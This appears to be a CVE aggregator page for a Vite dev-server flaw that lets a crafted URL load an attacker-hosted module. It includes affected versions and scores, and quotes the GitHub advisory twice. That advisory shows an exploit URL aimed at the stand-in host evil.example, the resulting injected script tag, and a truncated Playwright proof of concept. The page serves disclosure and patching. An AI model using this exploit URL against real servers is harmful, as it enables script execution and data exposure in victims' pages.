CVE-2026-112945
Vite: Cross origin script execution through Vite custom middleware
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
2.1
Vite: Cross origin script execution through Vite custom middleware
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
- Record
CVE-2026-112945- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-80
- Updated
- 2026-11-02
EUVDEUVD-2026-105125
2.1
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
- Record
EUVD-2026-105125- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9jrq-w75r-8gcw
2.1
Vite: Cross origin script execution through Vite custom middleware
Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
- the dev server passes an unchanged browser request URL to
server.transformIndexHtml: this is normally used forserver.middlewareMode: trueorappType: 'custom'. The internal call forappType: 'spa'andappType: 'mpa'does not match this. - the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const…
- Record
GHSA-9jrq-w75r-8gcw- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-80
- Updated
- 2026-11-02
NVD
2.1
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
- Record
CVE-2026-112945- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-80
- Updated
- 2026-11-02
OSV
2.1
Vite: Cross origin script execution through Vite custom middleware
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
- Record
CVE-2026-112945- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-80
- Updated
- 2026-11-04
OSVGHSA-9jrq-w75r-8gcw
2.1
Vite: Cross origin script execution through Vite custom middleware
Summary
When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.
Impact
Only apps that match the following conditions are affected:
- the dev server passes an unchanged browser request URL to
server.transformIndexHtml: this is normally used forserver.middlewareMode: trueorappType: 'custom'. The internal call forappType: 'spa'andappType: 'mpa'does not match this. - the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions
Details
Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
For a development server at http://localhost:5173, an attacker can send this URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.
Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.
The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.
PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const…
- Record
GHSA-9jrq-w75r-8gcw- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-80
- Updated
- 2026-11-02
Show 17 moreShow less
OSVUBUNTU-CVE-2026-112945
2.1
Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.
- Record
UBUNTU-CVE-2026-112945- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVCLSA-2026-1793091335 No score
TuxCare security update for vite (3 CVEs)
TuxCare rebuilt vite to address 3 CVEs. Fixed in 6.4.2-tuxcare.6.
- Record
CLSA-2026-1793091335- Updated
- 2026-11-02
OSVCLSA-2026-1793099369 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 5.4.10-tuxcare.5.
- Record
CLSA-2026-1793099369- Updated
- 2026-11-02
OSVCLSA-2026-1793099859 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.10-tuxcare.2.
- Record
CLSA-2026-1793099859- Updated
- 2026-11-02
OSVCLSA-2026-1793099874 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.12-tuxcare.2.
- Record
CLSA-2026-1793099874- Updated
- 2026-11-02
OSVCLSA-2026-1793099905 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.3-tuxcare.3.
- Record
CLSA-2026-1793099905- Updated
- 2026-11-02
OSVCLSA-2026-1793099942 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.14-tuxcare.6.
- Record
CLSA-2026-1793099942- Updated
- 2026-11-02
OSVCLSA-2026-1793099987 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 3.2.11-tuxcare.8.
- Record
CLSA-2026-1793099987- Updated
- 2026-11-02
OSVCLSA-2026-1793100006 No score
TuxCare security update for vite (4 CVEs)
TuxCare rebuilt vite to address 4 CVEs. Fixed in 5.0.12-tuxcare.8.
- Record
CLSA-2026-1793100006- Updated
- 2026-11-07
OSVCLSA-2026-1793100032 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.9-tuxcare.2.
- Record
CLSA-2026-1793100032- Updated
- 2026-11-02
OSVCLSA-2026-1793100051 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.2-tuxcare.2.
- Record
CLSA-2026-1793100051- Updated
- 2026-11-02
OSVCLSA-2026-1793100627 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 2.9.18-tuxcare.5.
- Record
CLSA-2026-1793100627- Updated
- 2026-11-02
OSVCLSA-2026-1793100737 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 6.4.3-tuxcare.2.
- Record
CLSA-2026-1793100737- Updated
- 2026-11-02
OSVCLSA-2026-1793115223 No score
TuxCare security update for vite (4 CVEs)
TuxCare rebuilt vite to address 4 CVEs. Fixed in 4.1.5-tuxcare.4.
- Record
CLSA-2026-1793115223- Updated
- 2026-11-02
OSVCLSA-2026-1793973624 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.0-tuxcare.7.
- Record
CLSA-2026-1793973624- Updated
- 2026-11-06
OSVCLSA-2026-1793973716 No score
TuxCare security update for vite (2 CVEs)
TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.5-tuxcare.11.
- Record
CLSA-2026-1793973716- Updated
- 2026-11-06
OSVCLSA-2026-1794050549 No score
TuxCare security update for vite (1 CVE)
TuxCare rebuilt vite to address 1 CVE. Fixed in 8.0.16-tuxcare.1.
- Record
CLSA-2026-1794050549- Updated
- 2026-11-07
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vitenpm |
8.3.0 to 8.3.2 | 8.3.3 |
vitenpm |
8.2.0 to 8.2.3 | 8.2.4 |
vitenpm |
8.0.0 to 8.1.5 | 8.1.6 |
vitenpm |
7.0.0 to 7.3.6 | 7.3.7 |
vitenpm |
through 6.4.3 | 6.4.4 |
vite-plusnpm |
through 1.0.0 | 1.1.0 |
viteTuxCare:npm From an advisory covering 3 CVEs |
6.4.2-tuxcare.0 up to 6.4.2-tuxcare.6, plus listed versions 6.4.26.4.2-tuxcare.16.4.2-tuxcare.26.4.2-tuxcare.36.4.2-tuxcare.46.4.2-tuxcare.5 |
6.4.2-tuxcare.6 |
viteTuxCare:npm From an advisory covering 2 CVEs |
5.4.10-tuxcare.0 up to 5.4.10-tuxcare.5, plus listed versions 5.4.105.4.10-tuxcare.15.4.10-tuxcare.25.4.10-tuxcare.35.4.10-tuxcare.4 |
5.4.10-tuxcare.5 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.10-tuxcare.0 up to 8.0.10-tuxcare.2, plus listed versions 8.0.108.0.10-tuxcare.1 |
8.0.10-tuxcare.2 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.12-tuxcare.0 up to 8.0.12-tuxcare.2, plus listed versions 8.0.128.0.12-tuxcare.1 |
8.0.12-tuxcare.2 |
Show 25 moreShow less
| Package | Affected | Fixed |
|---|---|---|
viteTuxCare:npm From an advisory covering 2 CVEs |
7.3.3-tuxcare.0 up to 7.3.3-tuxcare.3, plus listed versions 7.3.37.3.3-tuxcare.17.3.3-tuxcare.2 |
7.3.3-tuxcare.3 |
viteTuxCare:npm From an advisory covering 2 CVEs |
4.5.14-tuxcare.0 up to 4.5.14-tuxcare.6, plus listed versions 4.5.144.5.14-tuxcare.14.5.14-tuxcare.24.5.14-tuxcare.34.5.14-tuxcare.44.5.14-tuxcare.5 |
4.5.14-tuxcare.6 |
viteTuxCare:npm From an advisory covering 2 CVEs |
3.2.11-tuxcare.0 up to 3.2.11-tuxcare.8, plus listed versions 3.2.113.2.11-tuxcare.13.2.11-tuxcare.23.2.11-tuxcare.33.2.11-tuxcare.43.2.11-tuxcare.53.2.11-tuxcare.63.2.11-tuxcare.7 |
3.2.11-tuxcare.8 |
viteTuxCare:npm From an advisory covering 2 CVEs |
5.0.12-tuxcare.0 up to 5.0.12-tuxcare.8, plus listed versions 5.0.125.0.12-tuxcare.15.0.12-tuxcare.25.0.12-tuxcare.35.0.12-tuxcare.45.0.12-tuxcare.55.0.12-tuxcare.65.0.12-tuxcare.7 |
5.0.12-tuxcare.8 |
viteTuxCare:npm From an advisory covering 2 CVEs |
8.0.9-tuxcare.0 up to 8.0.9-tuxcare.2, plus listed versions 8.0.98.0.9-tuxcare.1 |
8.0.9-tuxcare.2 |
viteTuxCare:npm From an advisory covering 2 CVEs |
7.3.2-tuxcare.0 up to 7.3.2-tuxcare.2, plus listed versions 7.3.27.3.2-tuxcare.1 |
7.3.2-tuxcare.2 |
viteTuxCare:npm From an advisory covering 2 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.5, plus listed versions 2.9.182.9.18-tuxcare.12.9.18-tuxcare.22.9.18-tuxcare.32.9.18-tuxcare.4 |
2.9.18-tuxcare.5 |
viteTuxCare:npm From an advisory covering 2 CVEs |
6.4.3-tuxcare.0 up to 6.4.3-tuxcare.2, plus listed versions 6.4.36.4.3-tuxcare.1 |
6.4.3-tuxcare.2 |
viteTuxCare:npm From an advisory covering 4 CVEs |
4.1.5-tuxcare.0 up to 4.1.5-tuxcare.4, plus listed versions 4.1.54.1.5-tuxcare.14.1.5-tuxcare.24.1.5-tuxcare.3 |
4.1.5-tuxcare.4 |
viteTuxCare:npm From an advisory covering 2 CVEs |
4.5.0-tuxcare.0 up to 4.5.0-tuxcare.7, plus listed versions 4.5.04.5.0-tuxcare.14.5.0-tuxcare.24.5.0-tuxcare.34.5.0-tuxcare.44.5.0-tuxcare.54.5.0-tuxcare.6 |
4.5.0-tuxcare.7 |
viteTuxCare:npm From an advisory covering 2 CVEs |
4.5.5-tuxcare.0 up to 4.5.5-tuxcare.11, plus listed versions 4.5.54.5.5-tuxcare.14.5.5-tuxcare.104.5.5-tuxcare.24.5.5-tuxcare.3 Show 6 moreShow less4.5.5-tuxcare.44.5.5-tuxcare.54.5.5-tuxcare.64.5.5-tuxcare.74.5.5-tuxcare.84.5.5-tuxcare.9 |
4.5.5-tuxcare.11 |
viteTuxCare:npm |
8.0.16-tuxcare.0 up to 8.0.16-tuxcare.1, plus listed versions 8.0.16 |
8.0.16-tuxcare.1 |
vitenpm |
8.3.0 up to 8.3.3 | 8.3.3 |
vitenpm |
8.2.0 up to 8.2.4 | 8.2.4 |
vitenpm |
8.0.0 up to 8.1.6 | 8.1.6 |
vitenpm |
7.0.0 up to 7.3.7 | 7.3.7 |
vitenpm |
before 6.4.4 | 6.4.4 |
vite-plusnpm |
before 1.1.0 | 1.1.0 |
viteUbuntu:16.04:LTS |
All versions, plus listed versions 1.2+svn1430-21.2+svn1430-31.2+svn1430-41.2+svn1430-5 |
None known |
viteUbuntu:18.04:LTS |
All versions, plus listed versions 1.2+svn1430-51.2+svn1430-6 |
None known |
viteUbuntu:20.04:LTS |
All versions, plus listed versions 1.2+svn1430-61.2+svn1430-6build1 |
None known |
viteUbuntu:22.04:LTS |
All versions, plus listed versions 1.2+svn+git4.c6c0ce7-31.2+svn+git4.c6c0ce7-4 |
None known |
viteUbuntu:24.04:LTS |
All versions, plus listed versions 1.2+svn+git4.c6c0ce7-81.2+svn+git4.c6c0ce7-8build11.2+svn+git4.c6c0ce7-8build2 |
None known |
viteUbuntu:26.10 |
All versions, plus listed versions 1.4-61.4-6build1 |
None known |
viteUbuntu:26.04:LTS |
All versions, plus listed versions 1.4-11.4-51.4-5build11.4-6 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases | OSV | |
| affected, aliases | OSV | |
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-112945 is a low vulnerability (CVSS 2.1) in Vitejs Vite, published October 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.67%, the 52nd percentile. Fixed in vite 8.3.3.
References
github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw
github.com/vitejs/vite/pull/23653
github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17
nvd.nist.gov/vuln/detail/CVE-2026-112945
github.com/advisories/GHSA-9jrq-w75r-8gcw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112945.json
Show 7 moreShow less
github.com/vitejs/vite
ubuntu.com/security/CVE-2026-112945
cve.org/CVERecord?id=CVE-2026-112945
github.com/cveproject/cvelistv5/tree/main/cves/2026/112xxx/cve-2026-112945.json
github.com/vitejs/vite/security/advisories/ghsa-9jrq-w75r-8gcw
nvd.nist.gov/vuln/detail/cve-2026-112945
advisory.echohq.com/cve/cve-2026-112945
Left out here: the rest of 2 source descriptions. The JSON record has them.